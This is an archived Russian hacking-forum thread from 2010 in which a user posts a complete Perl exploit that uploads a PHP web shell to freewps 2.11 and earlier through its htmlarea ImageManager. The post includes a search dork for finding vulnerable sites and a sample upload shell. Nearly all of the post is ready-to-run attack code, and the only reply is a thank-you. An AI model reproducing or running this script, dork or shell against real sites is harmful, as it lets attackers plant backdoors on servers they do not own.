Форумы на Хакер

Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.

freewps<=2.11 remote shell uploader exploit

Пользователи, просматривающие топик: none

Зашли как: Guest

Все форумы >> [Уязвимости] >> freewps<=2.11 remote shell uploader exploit

Имя

Сообщение

<< Старые топики Новые топики >>

freewps<=2.11 remote shell uploader exploit - 2010-03-04 21:44:02.636666

Pashkela

Сообщений: 3756
Оценки: 736
Присоединился: 2007-01-03 06:19:40.900000

Переделан из http://www.milw0rm.com/exploits/704
вместо http://www.milw0rm.com/exploits/1600

dork: inurl:/htmlarea/popups/ImageManager/images.php


 ## freewps&lt;=2.11 remote shell uploader exploit ##
 use IO::Socket;
 if(@ARGV &lt; 1){
    usage();
    exit;
 }
 open(FILE, 'shell.php'); # your shell code here (max 2 kb);
 #############################################################################################################
 # shell code example:
 #&lt;?php if(isset($_POST['go'])){if(is_uploaded_file($_FILES['userfile']['tmp_name'])){@copy($_FILES['userfile']['tmp_name'],$_FILES['userfile']['name']);}}?&gt;
 #&lt;form enctype=multipart/form-data  method=post&gt;&lt;input name='userfile' type=file&gt;&lt;input type=submit name='go'&gt;&lt;/form&gt;
 ##############################################################################################################
 $path = ""; # path to /htmlarea/
 @file = &lt;FILE&gt;;
 close(FILE);
 $shell = join('', @file);
 $shell_name = 'lala4.php'; # shell name
 print "-=[ freewps&lt;=2.11 remote shell uploader  ]=-\n";
 print "        by Pashkela [bugtrack team] 2010  \n\n";
 print "        from http://www.milw0rm.com/exploits/704  \n\n";
 print "        instead of http://www.milw0rm.com/exploits/1600  \n\n";
 $host[0] = $ARGV[0];
 if($host[0] =~ /\//){
    ($host[1],$host[2])=split(/\//,$host[0]);
    $host[0] =~ /\/(.*)/;
    $host[3] = "/";
    $host[3] .= $1;
 }
 $host[1] = $host[0] if(!$host[1]);
 print "# $host[1]\n";
 $path = $host[3] . $path . "/htmlarea/popups/ImageManager/images.php";
 $socket=IO::Socket::INET-&gt;new(Proto=&gt;'tcp',PeerAddr=&gt;$host[1],PeerPort=&gt;80,Timeout=&gt;10)|| die "  s0k off\n";
 print $socket "POST $path HTTP/1.1\r\n";
 print $socket "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
 print $socket "Referer: http://www.lapropinacultural.com.ar/handlers/htmlarea/popups/insert_image.php\r\n";
 print $socket "Accept-Language: pt\r\n";
 print $socket "Content-Type: multipart/form-data; boundary=---------------------------7d410e113f8\r\n";
 print $socket "Accept-Encoding: gzip, deflate\r\n";
 print $socket "User-Agent: l33t br0ws3r\r\n";
 print $socket "Host: $host[1]\r\n";
 print $socket "Content-Length: 1646\r\n";
 print $socket "Connection: Keep-Alive\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"dirPath\"\r\n\r\n";
 print $socket "/\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"url\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"width\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"vert\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"alt\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"height\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"horiz\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"upload\"; filename=\"$shell_name\"\r\n";
 print $socket "Content-Type: application/octet-stream\r\n\r\n";
 print $socket "$shell\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"align\"\r\n\r\n";
 print $socket "baseline\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"border\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"orginal_width\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"orginal_height\"\r\n\r\n\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"constrain_prop\"\r\n\r\n";
 print $socket "on\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";
 print $socket "Refresh\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"ok\"\r\n\r\n";
 print $socket "OK\r\n";
 print $socket "-----------------------------7d410e113f8\r\n";
 print $socket "Content-Disposition: form-data; name=\"cancel\"\r\n\r\n";
 print $socket "Cancel\r\n";
 print $socket "-----------------------------7d410e113f8--\r\n\r\n\r\n\r\n";
 @socket = &lt;$socket&gt;;
 foreach $teste(@socket){
   if($teste=~ /&lt;title&gt;Image Browser&lt;\/title&gt;/){
      print "# Shell uploaded!\n";
      print "# Here: \n# $host[0]/$shell_name\n";
      $result = 1;
   }
 }
 close($socket);
 if($result){
   exit;
 } else {
   print "Exploit failed..."
 }
 sub usage(){
     print "-=[ freewps&lt;=2.11 remote shell uploader  ]=-\n";
     print "        by Pashkela [bugtrack team] 2010  \n\n";
     print "        from http://www.milw0rm.com/exploits/704  \n\n";
     print "        instead of http://www.milw0rm.com/exploits/1600  \n\n";
     print "# usage: perl $0 &lt;host&gt; \n";
 }

Post #: 1

RE: freewps<=2.11 remote shell uploader exploit - 2010-03-11 22:47:12.633333

NEWS

Сообщений: 224
Оценки: 0
Присоединился: 2009-11-18 10:40:28.283333

Большое спасибо, где вы раньше были :)

Post #: 2

Страниц: [1]

Все форумы >> [Уязвимости] >> freewps<=2.11 remote shell uploader exploit

Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.

freewps&lt;=2.11 remote shell uploader exploit

freewps<=2.11 remote shell uploader exploit